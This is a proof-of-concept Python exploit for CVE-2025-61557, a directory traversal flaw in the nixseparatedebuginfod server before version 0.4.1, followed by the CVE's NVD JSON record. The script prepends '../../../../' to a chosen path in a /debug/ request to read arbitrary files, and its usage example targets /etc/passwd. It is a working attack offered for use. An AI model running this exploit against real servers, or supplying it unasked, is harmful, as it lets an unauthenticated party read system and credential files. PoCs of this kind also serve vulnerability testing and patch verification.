CVE-2025-61557

# CVE-2025-61557 PoC - nixseparatedebuginfod Directory Traversal # Target: nixseparatedebuginfod server (versions < 0.4.1) # Attack: Path traversal to read arbitrary files import requests import sys def exploit(target_url, file_path): """ Exploit directory traversal vulnerability to read arbitrary files """ # Encode path traversal sequences traversal = "../../../../" + file_path # Construct the malicious request exploit_url = f"{target_url}/debug/{traversal}" print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_path}") print(f"[*] Request URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[!] Success! File contents:") print(response.text) return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <file_path>") print(f"Example: {sys.argv[0]} http://target:8000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

{"cve": {"id": "CVE-2025-61557", "sourceIdentifier": "[email protected]", "published": "2025-12-30T16:15:45.353", "lastModified": "2026-01-14T20:26:05.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nixseparatedebuginfod before v0.4.1 is vulnerable to Directory Traversal."}, {"lang": "es", "value": "nixseparatedebuginfod anterior a la v0.4.1 es vulnerable a salto de directorio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:symphorien:nixseparatedebuginfod:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.1", "matchCriteriaId": "05CB016C-499B-4514-A858-6C39EC72E565"}]}]}], "references": [{"url": "https://github.com/symphorien/nixseparatedebuginfod", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/symphorien/nixseparatedebuginfod/blob/05ff4edf6953d0bcfedc3f448ed0ad9c4f279ee9/advisories/CVE-2025-61557.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://urldefense.us/v2/url?u=https-3A__github.com_symphorien_nixseparatedebuginfod_commit_57ac448324bfa11a8d8e8f9bea04ae9205ad18b2&d=DwIFaQ&c=Al8V6E3U0yBSSEuVtdZbGtsvjPA49U3WmtZAsdW0D_Q&r=Nrzxo0WDF_OE-Sa1wccaFKpKc1i6Uzf32ZZrlnVhmbk&m=dtk61i_OKshHyBz6nYW1Xx-pK5y9qdHl8ipsEqB31N2lKuU5GtTeg0C21yVO5M_W&s=wMjbc-B-uuwViJamR0q794vsOHExyt0nbnOuAZfxoGk&e=", "source": "[email protected]", "tags": ["Patch"]}]}}